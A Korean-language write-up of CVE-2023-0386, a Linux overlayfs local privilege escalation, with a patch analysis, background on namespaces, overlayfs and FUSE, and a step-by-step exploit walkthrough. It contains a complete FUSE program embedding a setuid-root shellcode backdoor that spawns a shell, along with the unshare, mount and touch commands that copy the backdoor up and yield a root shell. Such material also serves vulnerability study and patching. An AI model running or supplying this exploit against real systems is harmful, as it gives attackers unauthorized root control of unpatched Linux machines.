
로컬 권한 상승 익스플로잇으로, Linux 커널 overlayfs를 대상으로 하는 CVE-2023-0386입니다. 취약점 상세 분석, PoC 코드, FUSE 및 사용자 네임스페이스를 활용한 단계별 익스플로잇 가이드를 포함합니다.
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

이 문서의 이론적 지식(네임스페이스, overlay 파일 시스템, fuse 파일 시스템 등)은 모두 chatGPT에서 가져왔습니다.
취약점 번호: CVE-2023-0386
취약점 제품: linux kernel - overlay 파일 시스템
영향 범위: 5.11 ~ 5.19
악용 조건: unshare를 실행할 수 있거나 overlay 파일 시스템을 생성할 수 있어야 함
악용 효과: 로컬 권한 상승
직접 커널을 컴파일:
취약점 영향 범위에 포함되고 5.15 버전을 제외한(5.15는 문제가 있는 듯함) 버전을 준비하고, overlay와 fuse 두 가지 fs를 활성화합니다:
CONFIG_SLUB_DEBUGOVERLAY_FS
CONFIG_FUSE_FS
ubuntu 21.10 커널 버전 5.13.0-16-generic에서 실제로 동작함을 확인했습니다:

취약점 분석에 앞서 chatGPT에게 리눅스 커널 전문가 역할을 맡겨 보겠습니다:
(chatGPT에게 요청: 이제 당신은 리눅스 커널 전문가입니다. 제 질문에 답변을 도와주세요.)
이 취약점에 대한 공개 정보는 많지 않으며, 가장 직접적인 것은 취약점 패치 정보입니다. 패치 링크는 다음과 같습니다:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a

ovl_copy_up_one 함수에 판단 로직이 추가된 것을 볼 수 있습니다. 먼저 chatGPT에게 이 함수가 무엇을 하는지 물어보겠습니다:

즉, 이 함수는 overlay 파일 시스템에서 하위 레이어 파일을 상위 레이어로 복사하는 동작 중에 발생합니다. 그런 다음 문맥에 맞춰 이 패치에 새로 추가된 판단을 살펴보겠습니다:
static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
int flags)
{
int err;
DEFINE_DELAYED_CALL(done);
struct path parentpath;
struct ovl_copy_up_ctx ctx = {
.parent = parent,
.dentry = dentry,
.workdir = ovl_workdir(dentry),
};
if (WARN_ON(!ctx.workdir))
return -EROFS;
ovl_path_lower(dentry, &ctx.lowerpath);
err = vfs_getattr(&ctx.lowerpath, &ctx.stat,//[1] 获取底层文件系统的stat
STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);
if (err)
return err;
//[2]补丁新加判断文件的stat属性中的用户id和用户组id是否在当前命名空间有映射
if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
!kgid_has_mapping(current_user_ns(), ctx.stat.gid))
return -EOVERFLOW;
[1] 먼저 vfs_getattr 함수를 통해 하위 파일 시스템의 대상 파일 속성을 가져옵니다. vfs_getattr 함수는 파일의 struct path 구조체를 전달받아 해당 파일에 대응하는 struct stat 구조체를 얻습니다.
[1.1] ctx.lowerpath는 overlay 파일 시스템에 있는 하위 파일 시스템의 특정 파일 경로입니다. overlay 파일 시스템은 뒤에서 설명합니다.
[1.2] struct stat 구조체는 파일의 소유자, 그룹 등을 포함한 파일의 메타데이터 정보를 저장합니다. 그리고 가져온 파일 소유자 정보는 아래의 패치에 새로 추가된 판단에서 검사됩니다.
[2] 그런 다음 방금 가져온 파일의 소유자 정보와 그룹 정보를 kuid_has_mapping 함수로 검사합니다. 대상 파일의 소유자와 그룹이 현재 사용자 네임스페이스에 매핑되어 있는지 판단합니다.
[2.1] kuid_has_mapping 함수는 두 개의 매개변수를 받습니다. 하나는 struct user_namespace 사용자 네임스페이스 구조체이고, 다른 하나는 struct kuid 커널 사용자 구조체입니다. 이 함수는 주어진 사용자 정보가 주어진 사용자 네임스페이스에 매핑되어 있는지 확인합니다. 네임스페이스에서 사용자 매핑에 대한 자세한 내용은 아래에서 설명합니다.
따라서 취약점이 있는 이 함수(ovl_copy_up_one)가 실행될 때, 대상 하위 파일의 소유자 사용자나 그룹 사용자가 현재 네임스페이스에 매핑되어 있지 않으면 실패한다는 것을 알 수 있습니다.
이로써 패치의 원리는 명확해졌습니다. 그렇지만 여전히 이 취약점을 재현하려면 다음 문제들을 해결해야 합니다:
ovl_copy_up_one이 포함된 로직, 즉 overlay 파일 시스템에서 하위 레이어 파일을 상위 레이어로 복사하는 동작을 어떻게 트리거할 것인가?lowerpath는 위 로직 체인에서 정확히 어떤 역할을 하는가?이 두 가지 의문을 풀기 전에 몇 가지 기본 지식을 먼저 이해해야 합니다:
(chatGPT에게 요청: 리눅스 커널의 네임스페이스에 대해 소개해 주세요.)
Linux에서 네임스페이스(namespaces)는 리소스 격리를 구현하기 위한 커널 기능입니다. 네임스페이스를 사용하면 프로세스 그룹이 독립된 시스템 환경에서 실행되는 것처럼 보이게 하여 시스템의 보안과 관리 용이성을 높일 수 있습니다. 네임스페이스는 컨테이너 기술(예: Docker)에서 핵심적인 역할을 하며, 컨테이너가 다른 컨테이너나 호스트 시스템에 영향을 주지 않고 격리된 환경에서 실행될 수 있게 합니다.
Linux 커널은 7가지 네임스페이스(mount, pid, net, ipc, user, time, cgroup)를 지원하며, 각 네임스페이스는 특정 시스템 리소스 유형을 격리합니다. 네임스페이스는 clone, unshare, setns와 같은 일련의 시스템 호출을 통해 생성, 수정, 관리됩니다. 컨테이너 런타임(예: Docker) 및 기타 가상화 도구는 이러한 네임스페이스 기능을 활용하여 컨테이너에 독립적이고 격리된 실행 환경을 제공합니다.
취약점 패치에 새로 추가된 검사 함수 kuid_has_mapping이 관련된 것은 위 7가지 네임스페이스 중 **사용자 네임스페이스(user namespace)**입니다.
(chatGPT에게 요청: 그중에서 사용자 네임스페이스에 대해 소개해 주세요.)
사용자 네임스페이스(User Namespace)는 사용자 ID(UID)와 그룹 ID(GID)를 격리하는 데 사용됩니다. 사용자 네임스페이스를 사용하면 각 네임스페이스에서 독립적인 사용자 및 그룹 ID 집합을 사용할 수 있습니다. 즉, 한 사용자 네임스페이스의 사용자와 그룹은 다른 네임스페이스에서 다른 ID나 권한을 가질 수 있습니다. 사용자 네임스페이스는 특히 컨테이너 환경에서 시스템 보안과 관리 용이성을 향상시킬 수 있습니다.
사용자 네임스페이스의 핵심 특징은 ID 매핑입니다. 사용자 네임스페이스는 한 네임스페이스의 UID와 GID를 다른 네임스페이스의 UID와 GID로 매핑할 수 있게 합니다. 즉, 서로 다른 사용자 네임스페이스에서 동일한 UID와 GID가 다른 사용자와 그룹을 나타낼 수 있습니다. 예를 들어, 컨테이너의 root 사용자(UID 0)는 호스트 시스템에서 권한이 없는 사용자로 매핑될 수 있습니다.
우리는 다음 몇 가지만 기억하면 됩니다:
예를 들어, breeze 사용자로 새 사용자 네임스페이스를 만든 다음 해당 사용자 네임스페이스에서 root 소유의 파일을 살펴보면 그룹 소유자가 nobody로 표시됩니다:

이는 새 네임스페이스에서 root 사용자가 해당 네임스페이스를 생성한 breeze 사용자이기 때문입니다. 초기 네임스페이스의 root는 새 네임스페이스에 수동으로 매핑되지 않았으므로 새 네임스페이스에서 nobody로 인식됩니다.
따라서 여기서 이 패치의 의미를 알 수 있습니다. 복사 대상인 overlay 하위 파일 시스템의 파일은 해당 소유자(그룹) 사용자(그룹)가 현재 네임스페이스에 매핑되어 있어야 이후 복사 동작이 계속되며, 그렇지 않으면 오류를 반환합니다. 즉, nobody로 인식되는 경우 복사가 실패하게 됩니다.
(chatGPT에게 요청: Linux의 overlay 파일 시스템에 대해 소개해 주세요.)
Overlay 파일 시스템(OverlayFS라고도 함)은 Linux 커널의 가상 파일 시스템입니다. 두 개 이상의 기존 디렉터리 계층 구조("lower" 및 "upper" 레이어)를 하나의 통합된 뷰로 병합할 수 있습니다. Overlay 파일 시스템은 쓰기 작업을 위에 겹쳐진 쓰기 가능한 레이어로 리디렉션할 수 있으므로 읽기 전용 파일 시스템(예: 이미지)에 쓰기 기능을 구현할 때 매우 유용합니다. 이 방식은 경량이면서 고성능인 파일 시스템 가상화를 제공하므로 컨테이너 기술(예: Docker)에서 널리 사용됩니다.
특정 overlay 파일 시스템 디렉터리의 실제 상하위 레이어 파일이 merge 레이어 파일에 대응되는 효과는 아래 그림으로 이해할 수 있습니다:

상위 레이어 파일 시스템은 쓰기 가능하므로 사용자가 상위 레이어의 파일을 수정할 때는 직접 수정합니다. 그러나 위 그림의 file D처럼 하위 레이어 파일 시스템의 파일을 수정하려면 하위 레이어 파일 시스템이 읽기 전용이므로 file D를 상위 레이어로 복사(copy up)해 file D'로 만든 다음 수정 작업을 수행합니다. 실제로 수정되는 것은 상위 레이어로 복사된 file D'이며, 하위 레이어 파일 시스템의 file D 자체는 변경되지 않습니다. 이것이 overlay 파일 시스템의 COW(copy on write, 쓰기 시 복사)입니다:

(chatGPT에게 요청: 간단한 overlay 파일 시스템을 생성하는 실제 작업 예시를 하나 보여 주세요.)
다음 방법으로 overlay 파일 시스템을 생성하는 방법을 간단히 시연해 보겠습니다:
먼저 lower1, lower2, upper, work 디렉터리를 생성해야 합니다. 이 디렉터리들은 Overlay 파일 시스템에 사용됩니다. 동시에 병합된 뷰에 접근하기 위한 마운트 지점(예: merged)도 생성해야 합니다. 그리고 lower1과 lower2 디렉터리에 몇 가지 내용을 추가합니다:
mkdir lower1 lower2 upper work merged
echo "This is a file in lower1." > lower1/file1.txt
echo "This is a file in lower2." > lower2/file2.txt
mount 명령과 -t overlay 옵션을 사용하여 Overlay 파일 시스템을 마운트합니다. lowerdir, upperdir, workdir 매개변수를 지정해야 하며, 다음과 같습니다:
mount -t overlay overlay -o lowerdir=lower1:lower2,upperdir=upper,workdir=work merged
merge 디렉터리에서 상하위 레이어 파일 시스템의 파일을 볼 수 있습니다:

이 디렉터리에서 새 파일을 생성하거나, 파일을 삭제하거나, 파일을 수정하더라도 상위 레이어 파일 시스템만 변경되며 하위 레이어에는 영향을 주지 않습니다. 예를 들어 새 파일을 생성하면(실제로는 upper에 생성됨):

기존 파일 수정(파일을 lower1에서 upper로 복사한 다음 수정):

요약하면, 취약점과 관련된 로직은 overlay 파일 시스템에서 하위 레이어에서 온 파일을 수정할 때 해당 파일을 먼저 상위 레이어 파일 시스템으로 복사한 다음 수정 작업을 수행한다는 것입니다.
위 분석을 통해 취약점의 전체적인 모습을 거의 복원할 수 있습니다. overlay 파일 시스템에서 copy up 작업(하위 레이어 파일을 수정하려고 시도하여 하위 레이어 파일을 상위 레이어로 복사하는 것을 트리거)이 발생할 때:
그렇다면 문제는, 매핑되지 않은 사용자 소유의 파일을 복사하면 왜 문제가 발생하는가? 입니다.
사실 위 질문에 대한 답은 간단합니다. 파일 복사는 파일 내용만 복사하는 것이 아니라 파일의 메타데이터, 즉 파일의 소유자 정보, 타임스탬프, 권한 정보, 그리고 capabilities 같은 확장 정보도 함께 복사됩니다. 이로 인해 발생하는 위험은 다음과 같습니다. 하위 레이어 파일 시스템이 사용자 파일 시스템(예: fuse)이라 사용자가 매우 높은 수준으로 제어할 수 있어 어떤 파일이든 정의할 수 있지만, 해당 파일 시스템에 nosuid와 같은 제한이 있는 경우, 이 취약점을 통해 하위 레이어의 사용자 정의 suid 파일을 nosuid 파일 시스템에서 일반 파일 시스템으로 복사하여 불법적인 suid 파일이 suid 권한을 얻을 수 있습니다. 이로 인해 권한 상승이 발생합니다.
(chatGPT에게 요청: fuse 파일 시스템에 대해 소개해 주세요.)
FUSE(Filesystem in Userspace)는 사용자가 커널 공간이 아닌 사용자 공간에서 사용자 정의 파일 시스템을 구현하고 실행할 수 있게 하는 파일 시스템 인터페이스입니다. FUSE는 파일 시스템의 개발과 배포를 단순화하면서도 좋은 성능과 보안을 제공하도록 설계되었습니다. FUSE는 Linux 및 macOS, FreeBSD와 같은 다른 유닉스 계열 시스템에서 널리 사용됩니다.
간단히 말하면, fuse 파일 시스템은 사용자 레이어에서 파일 시스템의 일부 콜백 함수(open, write, readdir, 심지어 getattr 등의 파일 메타데이터 정보)를 직접 정의할 수 있게 해줍니다.
아래의 fuse 파일 시스템 코드(chatGPT 작성)는 학습용 예제로도 사용할 수 있고, 이후 취약점 악용에도 사용할 수 있습니다:
(chatGPT에게 요청: fuse 파일 시스템의 간단한 코드 예시를 하나 주세요. 이 파일 시스템에는 hello 파일이 하나 있고, 파일 내용은 "helloworld" 문자열이며, 이 파일은 root 소유의 setuid 파일입니다.)
간단히 수정한 결과입니다(파일 내용을 백도어 바이너리 데이터로 변경하고, 일부 파일 권한 설정, 파일 크기 등을 수정):
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *hello_path = "/hello";//fuse文件系统中有一个名为hello的文件,这里是文件路径
const char hello_str[] = {//fuse文件系统中的suid 后门文件的二进制内容
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf)//获取文件或目录的属性信息的回调函数getattr
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {//fuse文件系统根目录的权限,0755
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) {//hello文件的权限,777并且带有SUID
stbuf->st_mode = S_IFREG | S_ISUID | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(hello_str); //hello文件实际大小
} else {
res = -ENOENT;
}
return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi)//获取目录信息的函数
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0) {//目前只支持查看fuse的根目录
return -ENOENT;
}
filler(buf, ".", NULL, 0);//默认显示.和..
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0);//fuse根目录有一个hello文件
return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi)//打开文件的open回调函数
{
if (strcmp(path, hello_path) != 0) {//只支持打开hello文件
return -ENOENT;
}
return 0;
}
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)//读文件的回调函数read
{
size_t len;
(void) fi;
if(strcmp(path, hello_path) != 0) {//只支持读hello文件
return -ENOENT;
}
len = sizeof(hello_str);
if (offset < len) {
if (offset + size > len) {
size = len - offset;
}
memcpy(buf, hello_str + offset, size);//返回hello文件的内容,即上面的二进制数组
} else {
size = 0;
}
return size;
}
static struct fuse_operations hellofs_oper = {//只实现上述四个回调函数已经够了
.getattr = hellofs_getattr,
.readdir = hellofs_readdir,
.open = hellofs_open,
.read = hellofs_read,
};
int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &hellofs_oper, NULL);//注册回调函数
}
위 코드는 fuse 파일 시스템을 생성하지만, 그 안에는 hello 파일 하나만 존재하며 그 내용은 바이너리 백도어 프로그램이고 권한은 root 소유의 setuid 파일입니다. 콜백 함수는 총 4개만 구현되어 있어 가장 기본적인 hello 파일의 확인, 열기, 읽기만 가능합니다. 다음 명령으로 fuse 파일 시스템을 컴파일하고 마운트할 수 있습니다:
gcc -Wall hellofs.c `pkg-config fuse --cflags --libs` -o hellofs
mkdir fusefs
./hellofs ./fusefs
그러면 fusefs 디렉터리에서 root 소유의 suid 파일인 hello 파일을 볼 수 있습니다:

하지만 일반 사용자는 suid를 활성화한 상태로 fuse 파일 시스템을 마운트할 수 없습니다. 즉, 일반 사용자가 마운트한 fuse 파일 시스템은 모두 nosuid입니다. 따라서 지금 이 suid 백도어 파일을 실행하더라도 root 권한을 얻을 수 없습니다:

이제 CVE-2023-0386 취약점과 위에서 만든 fuse 파일 시스템을 사용하여 권한 상승 작업을 수행합니다.
먼저 취약점 시나리오에 맞춰 overlay 파일 시스템을 구성합니다. fuse 파일 시스템을 하위 레이어 파일 시스템으로 사용하고, 쓰기 가능한 디렉터리를 상위 레이어 파일 시스템으로 사용합니다. 먼저 workdir 등 overlay 관련 디렉터리를 생성하고 fuse 파일 시스템을 마운트합니다.
mkdir hello_mount_point overlay_mount_point upperdir workdir #创建相关目录
./hellofs hello_mount_point #挂载fuse文件系统

그런 다음 새 사용자 네임스페이스, mount 네임스페이스, pid 네임스페이스를 생성합니다. 다음으로 overlay 파일 시스템을 생성해야 하는데, 기본적으로는 mount 권한이 없으므로 새 네임스페이스에서 mount 권한을 얻어야 합니다.
unshare -Urm

overlay 파일 시스템을 생성합니다. 위에서 만든 suid 백도어 파일 hello가 있는 fuse 파일 시스템을 하위 레이어로 사용하고, 상위 레이어는 우리가 쓰기 가능한 upper 디렉터리입니다:
mount -t overlay overlay -o lowerdir=hello_mount_point,upperdir=upperdir,workdir=workdir overlay_mount_point

overlay의 현재 상태는 아래 그림과 같습니다.

이제 우리의 목표는 취약점을 이용해 suid 백도어 파일을 nosuid로 마운트된 fuse 파일 시스템에서 upper 파일 시스템으로 복사하는 것입니다. upper 파일 시스템은 운영체제의 기본 파일 시스템이므로 suid가 활성화되어 있으며, 이 복사 과정에서 백도어 파일의 suid 속성도 함께 복사됩니다. 따라서 overlay 파일 시스템의 copy up 동작을 트리거해야 합니다. 이 동작은 일반적으로 하위 레이어 파일을 수정하려고 할 때 발생하며, 이것이 fuse 파일 시스템에서 hello 파일의 권한을 777로 설정한 이유입니다.
사실 파일 수정은 파일 내용만 수정하는 것을 의미하지 않습니다. 파일 타임스탬프 등 다른 속성을 수정하는 것도 copy up 동작을 트리거합니다. touch 명령은 이미 존재하는 파일을 생성하려고 시도할 때 기존 파일을 덮어쓰지 않고 파일의 접근 시간과 수정 시간 타임스탬프만 변경합니다. 타임스탬프 정보도 파일의 attr 확장 정보에 해당하므로, 이 정보가 수정되면 overlay 파일 시스템의 상향 복사(copy up)가 트리거됩니다.
호출 스택은 다음과 같습니다. 파일의 접근 시간과 수정 시간 타임스탬프가 변경되면서 ovl_setattr에서 상향 복사(copy up)가 트리거되었습니다:

따라서 위의 작업 단계로 돌아가서, overlay 파일 시스템의 merge 디렉터리로 들어가 touch 명령으로 백도어 파일 hello의 타임스탬프만 수정하면 됩니다:
touch overlay_mount_point/hello

그러면 여기서 copy up이 트리거됩니다:

상위 레이어 디렉터리인 upper 디렉터리를 확인합니다:
ls -al upperdir

그런 다음 네임스페이스에서 빠져나와 upperdir/hello를 실행하면 root 셸을 얻을 수 있습니다:

exp.c 참조
컴파일 및 실행:
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp
따라서 이 패치의 의미는 다음과 같습니다. 우리가 한 것처럼 이 방식으로 권한 상승을 시도하는 경우, 초기 네임스페이스의 root 사용자는 새 사용자 네임스페이스에 매핑되어 있지 않습니다(이를 매핑하려면 권한이 필요하므로 우리는 매핑할 방법도 없습니다). 따라서 작업은 실패합니다. 반면 해당 사용자가 새 사용자 네임스페이스에 이미 매핑되어 있다면 합법적인 시나리오로 간주됩니다.